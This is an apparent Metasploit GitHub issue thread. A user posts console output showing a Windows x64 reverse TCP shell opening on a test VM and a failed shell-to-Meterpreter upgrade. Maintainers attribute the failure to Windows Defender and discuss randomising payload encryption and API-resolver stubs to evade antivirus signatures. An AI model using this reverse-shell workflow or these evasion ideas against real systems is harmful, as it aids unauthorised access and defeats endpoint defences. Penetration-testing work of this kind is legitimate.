Metasploit-framework: issue multi/manage/shell_to_meterpreter

[verapex]

i opened shell session via Win10 pro full update and active windows defender(VM), for exp;

msf5 exploit(multi/handler) > set payload windows/x64/shell_reverse_tcp
payload => windows/x64/shell_reverse_tcp
msf5 exploit(multi/handler) > exploit
[*] Started reverse TCP handler on xxx.xxx.xxx.xxx:4040 
[*] Command shell session 1 opened (xxx.xxx.xxx.xxx:4040 -> xxx.xxx.xxx.xxx:52213) at 2019-05-16 00:51:53 -0700
PS C:\Users\vera\AppData\Local\Packages\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\TempState\Downloads> ^Z
Background session 1? [y/N]  y 
 1         shell x64/windows  Windows PowerShell running as vera@DESKTOP-EKE2DH1 
PS C:\Users\vera\AppData\Loc.......
type : session -u 1
after i try to post(multi/manage/shell_to_meterpreter)
everything seems works fine, for exp;

[*] Command stager progress: 99.78% (101888/102108 bytes)
[*] Command stager progress: 100.00% (102108/102108 bytes)
msf5 post(multi/manage/shell_to_meterpreter) >
but when i type session -l, 
there is just active sessions 1, dont upgrade meterpreter sessions, for exp;

[*] Command stager progress: 99.78% (101888/102108 bytes)
[*] Command stager progress: 100.00% (102108/102108 bytes)
msf5 post(multi/manage/shell_to_meterpreter) > sessions -l

Active sessions
===============

  Id  Name  Type               Information                                                                       Connection
  --  ----  ----               -----------                                                                       ----------
  1         shell x64/windows  Windows PowerShell running as vera@DESKTOP-EKE2DH

i am using kali lunix(4.19.0-kali5-amd64) via apt, and Framework Version: 5.0.21-dev

thx for advice...

[jrobles-r7]

In this case maybe defender isn't catching the shell session but it is catching the meterpreter execuatable when it gets downloaded.

[sempervictus]

IMHO, we should make the block_rc4 stuff higher entropy and start using it as default for any clear text session upgrade. If the key offsets are moving around the asm, it'll be a lot more annoying for them to check for known bytes at known offsets.
That said, the api resolver block is also signed for by more and more vendors, and needs a similar treatment (discussed w/ @wvu-r7 already - the bapi asm is quite neatly labeled leaving lots of room for Rex NOPs).

[bwatters-r7]

@sempervictus, that's an interesting thought, and it would be relatively straight-forward. I don't want to hijack this thread, but I'd be curious about how much we could/would need to add. I'd also love to hear @wchen-r7's opinion on this....